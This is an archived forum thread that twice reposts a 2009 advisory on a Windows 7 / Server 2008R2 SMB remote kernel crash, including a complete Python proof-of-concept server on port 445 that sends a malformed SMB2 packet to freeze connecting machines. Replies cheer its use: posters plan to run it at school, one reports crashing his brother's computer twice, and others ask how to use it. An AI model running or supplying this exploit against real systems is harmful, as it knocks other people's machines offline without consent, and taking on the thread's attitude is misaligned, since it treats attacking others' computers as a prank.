SRL Archive - NOTA

Instead, try it on your friends if you're sure it can't hurt. (Windows Vista and 7 ftw? ;) )
http://seclists.org/fulldisclosure/2009/Sep/0039.html

EDIT: Another one.

Windows 7 / Server 2008R2 Remote Kernel Crash
This bug is a real proof that SDL FAIL
The bug trigger an infinite loop on smb{1,2}, pre-auth, no credential needed…
Can be trigered outside the lan via (IE*)
The bug is so noob, it should have been spotted 2 years ago by the SDL if the SDL had ever existed:

netbios_header = struct.pack(">i", len(''.join(SMB_packet))+SMB_packet
(The netbios header provide the length of the incoming smb{1,2} packet)

If netbios_header is 4 bytes smaller or more than SMB_packet, it just blow !
WHAT ?? you gotta be kidding me where's my SDL ?!?

"Most secure Os ever";
What ever your firewall is set to, you can get remotly smashed via IE or even via some broadcasting nbns tricks (no user interaction)
How funny.

Advisory:

=============================================
- Release date: November 11th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================

I. VULNERABILITY
————————-
Windows 7 * , Server 2008R2 Remote Kernel Crash

II. BACKGROUND
————————-
#FAIL,#FAIL,#FAIL
SDL FAIL, 'Most Secure Os Ever' –> Remote Kernel in 2 mn.
#FAIL,#FAIL,#FAIL

III. DESCRIPTION
————————-
See : http://g-laurent.blogspot.com/ for much more details

#Comment: This bug is specific Windows 7/2008R2.

IV. PROOF OF CONCEPT
————————-
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#

import SocketServer

packet = ("\x00\x00\x00\x9a" # —> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")


class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()



V. BUSINESS IMPACT
————————-
An attacker can remotly crash any Windows 7/Server 2008R2
on a LAN or via IE

VI. SYSTEMS AFFECTED
————————-
Windows 7, Windowns Server 2008R2

VII. SOLUTION
————————-
No patch available for the moment, your vendor do not care.
Close SMB feature and ports, until a real audit is provided.

VIII. REFERENCES
————————-
http://blogs.msdn.com/sdl/

IX. CREDITS
————————-
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com

X. REVISION HISTORY
————————-
November 8th, 2009: MSRC contacted
November 8th, 2009: MSRC acknoledge the vuln
November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug shouldn't appears on a security bulletin.
November 11th, 2009: Win 7 remote kernel smash released

XI. LEGAL NOTICES
————————-
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

XII.Personal Notes
————————-
More Remote Kernel FD @MS to come.

lol i should try that at my school… i recently talked the techs into giving me some admin powers :P

From: mormonman
lol i should try that at my school… i recently talked the techs into giving me some admin powers :P

You don't need any admin power to do this. Only python installed, and an IP of a (local) user on the LAN with Vista of Win 7.

From: Wizzup?
Only python installed,

exactly…

From: mormonman
exactly…

AFAIK you don't even need admin rights to do that. It's only a library anyway. ;)
You could also just use your hardware (laptop).

thats true… but we also have filtered internet and we can't download… well, i used to not be able to.

Hehe, time to whip out the EEEEPC. Extra E is for evil :p

From: Boreas
Hehe, time to whip out the EEEEPC. Extra E is for evil :p

Lol… you actually have one?

Oh, this is just win.

Good find.

EDIT: Going to try it nao..

I have an EEEpc there is nothing wrong with them, also Wizzup will it work with the name of the computer instead of the IP because at our school they label our computers like this "IT1-PC-01" (We have 5 IT labs)

From: cycrosism
I have an EEEpc there is nothing wrong with them, also Wizzup will it work with the name of the computer instead of the IP because at our school they label our computers like this "IT1-PC-01" (We have 5 IT labs)

The name resolves to an IP. Names were only invented for humans, and they are (directly) translated to IP's. :)

LOL I tried this on my brothers computer he was listening to really loud techno music and it echos to my room and it always gives me a headache so i decided to try this on his computer and the second i wrote "python smb-bsod.py" in my terminal the music stopped and i think it gave him a BSOD, I don't know to be sure because his door was shut but the music did stop. This is epic shit lol use it wisely!!

I saw this yesterday on Slashdot. It makes life a whole lot more fun in my eyes :)

Oh btw i did it again to my brother a few hours later and this time his door was open and I saw the BSOD and he was reading it LOL

Explain this for people who have no idea what's up? (Me)

It causes Windows 7/Vista to crash, in a nutshell.

I figured that. I got up to the "Gives vista/7 a BSOD" but I don't understand how it goes about it.

It sends an "&" to the Process Id High SMB Header field, which causes it to crash.

Haha this awesome, I'm totally going to give this a shot, try and crash my brothers computer…

Bump for a new one. Discovered by the same guy.

Windows 7 / Server 2008R2 Remote Kernel Crash
This bug is a real proof that SDL FAIL
The bug trigger an infinite loop on smb{1,2}, pre-auth, no credential needed…
Can be trigered outside the lan via (IE*)
The bug is so noob, it should have been spotted 2 years ago by the SDL if the SDL had ever existed:

netbios_header = struct.pack(">i", len(''.join(SMB_packet))+SMB_packet
(The netbios header provide the length of the incoming smb{1,2} packet)

If netbios_header is 4 bytes smaller or more than SMB_packet, it just blow !
WHAT ?? you gotta be kidding me where's my SDL ?!?

"Most secure Os ever";
What ever your firewall is set to, you can get remotly smashed via IE or even via some broadcasting nbns tricks (no user interaction)
How funny.

Advisory:

=============================================
- Release date: November 11th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================

I. VULNERABILITY
————————-
Windows 7 * , Server 2008R2 Remote Kernel Crash

II. BACKGROUND
————————-
#FAIL,#FAIL,#FAIL
SDL FAIL, 'Most Secure Os Ever' –> Remote Kernel in 2 mn.
#FAIL,#FAIL,#FAIL

III. DESCRIPTION
————————-
See : http://g-laurent.blogspot.com/ for much more details

#Comment: This bug is specific Windows 7/2008R2.

IV. PROOF OF CONCEPT
————————-
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#

import SocketServer

packet = ("\x00\x00\x00\x9a" # —> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")


class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()



V. BUSINESS IMPACT
————————-
An attacker can remotly crash any Windows 7/Server 2008R2
on a LAN or via IE

VI. SYSTEMS AFFECTED
————————-
Windows 7, Windowns Server 2008R2

VII. SOLUTION
————————-
No patch available for the moment, your vendor do not care.
Close SMB feature and ports, until a real audit is provided.

VIII. REFERENCES
————————-
http://blogs.msdn.com/sdl/

IX. CREDITS
————————-
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com

X. REVISION HISTORY
————————-
November 8th, 2009: MSRC contacted
November 8th, 2009: MSRC acknoledge the vuln
November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug shouldn't appears on a security bulletin.
November 11th, 2009: Win 7 remote kernel smash released

XI. LEGAL NOTICES
————————-
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

XII.Personal Notes
————————-
More Remote Kernel FD @MS to come.

Microsoft offered just one workaround for the flaw: block TCP ports 139 and 445 at the firewall.

how can i use this?

I'm with Garret and wesleyxD.. How to do it? :P
I don't understand anything from that post.. :/

EDIT: Please read this if you have problems understanding it: http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/

Most secure OS ever!
*cough*http://www.bestbuy.com/site/olspage.jsp?id=cat12090&type=page*cough*